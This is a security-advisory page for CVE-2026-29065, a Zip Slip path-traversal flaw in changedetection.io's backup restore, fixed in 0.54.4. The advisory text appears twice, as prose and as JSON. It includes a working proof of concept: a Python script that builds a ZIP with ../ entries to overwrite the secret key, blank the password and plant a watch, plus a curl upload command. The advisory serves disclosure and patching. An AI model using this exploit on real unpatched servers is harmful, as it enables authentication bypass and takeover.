GHSA-25G8-2MCF-FCX9

Vulnerability from github – Published: 2026-03-04 21:28 – Updated: 2026-03-06 21:57
VLAI
Summary
changedetection.io has Zip Slip vulnerability in the backup restore functionality
Details

Summary

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.

Details

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.

Vulnerable Code (lines 50-53):

def restore_backup(self, filename):
    with zipfile.ZipFile(filename, 'r') as zip_ref:
        # VULNERABLE: No path validation before extraction
        zip_ref.extractall(self.datastore_path)

The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.

Path in ZIP Target File Impact
../secret.txt Flask secret key Session forgery, auth bypass
../changedetection.json App settings Disable password, inject backdoor
../url-watches.json Watch index Inject malicious watches
../{uuid}/watch.json Watch config Modify any watch

Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations

PoC

Step 1: Create Malicious ZIP

import zipfile
import json

with zipfile.ZipFile("zipslip.zip", "w") as zf:
    # Escape extraction directory with ../
    zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")

    zf.writestr("../changedetection.json", json.dumps({
        "settings": {"application": {"password": ""}}
    }))

    zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
        "url": "https://attacker.com/zipslip-pwned",
        "title": "🔴 ZIPSLIP-PROOF"
    }))

Step 2: Upload via Restore Endpoint

curl -X POST "http://target:5000/backups/restore/start" \ -F "zip_file=@zipslip.zip" \ -F "include_watches=y" \ -F "include_settings=y"

Step 3: Verify Path Traversal

Check if watch escaped to /datastore/

ls -la /datastore/

Look for: pwned-uuid-1234/

Verify in UI

curl "http://target:5000/" | grep "ZIPSLIP"

f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM

Severity
8.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.54.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "changedetection.io"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.54.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29065"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T21:28:42Z",
    "nvd_published_at": "2026-03-06T07:16:02Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.\n\n### Details\n\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.\n\nVulnerable Code (lines 50-53):\n```\ndef restore_backup(self, filename):\n    with zipfile.ZipFile(filename, \u0027r\u0027) as zip_ref:\n        # VULNERABLE: No path validation before extraction\n        zip_ref.extractall(self.datastore_path)\n```\nThe extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.\n\n| Path in ZIP | Target File | Impact |\n| --- | --- | --- |\n| ../secret.txt | Flask secret key | Session forgery, auth bypass |\n| ../changedetection.json | App settings | Disable password, inject backdoor |\n| ../url-watches.json | Watch index | Inject malicious watches |\n| ../{uuid}/watch.json | Watch config | Modify any watch |\n\nAttacker uploads ZIP via the backup restore functionality at /backups/restore\nApplication extracts files without validation, writing attacker content to sensitive locations\n\n\n### PoC\n\nStep 1: Create Malicious ZIP\n```\nimport zipfile\nimport json\n\nwith zipfile.ZipFile(\"zipslip.zip\", \"w\") as zf:\n    # Escape extraction directory with ../\n    zf.writestr(\"../secret.txt\", \"ATTACKER-CONTROLLED-SECRET\")\n    \n    zf.writestr(\"../changedetection.json\", json.dumps({\n        \"settings\": {\"application\": {\"password\": \"\"}}\n    }))\n    \n    zf.writestr(\"../pwned-uuid-1234/watch.json\", json.dumps({\n        \"url\": \"https://attacker.com/zipslip-pwned\",\n        \"title\": \"\ud83d\udd34 ZIPSLIP-PROOF\"\n    }))\n```\nStep 2: Upload via Restore Endpoint\n\n```curl -X POST \"http://target:5000/backups/restore/start\" \\\n  -F \"zip_file=@zipslip.zip\" \\\n  -F \"include_watches=y\" \\\n  -F \"include_settings=y\" \n  ```\n\n###Step 3: Verify Path Traversal\n### Check if watch escaped to /datastore/\n###ls -la /datastore/\n### Look for: pwned-uuid-1234/\n\n### Verify in UI\n```curl \"http://target:5000/\" | grep \"ZIPSLIP\"```\n\n\n\u003cimg width=\"1920\" height=\"1080\" alt=\"f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM\" src=\"https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38\" /\u003e",
  "id": "GHSA-25g8-2mcf-fcx9",
  "modified": "2026-03-06T21:57:22Z",
  "published": "2026-03-04T21:28:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-25g8-2mcf-fcx9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29065"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/commit/1d7d812eb0faab37042246e2fbce04f29bb1b3aa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgtlmoon/changedetection.io"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "changedetection.io has Zip Slip vulnerability in the backup restore functionality"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.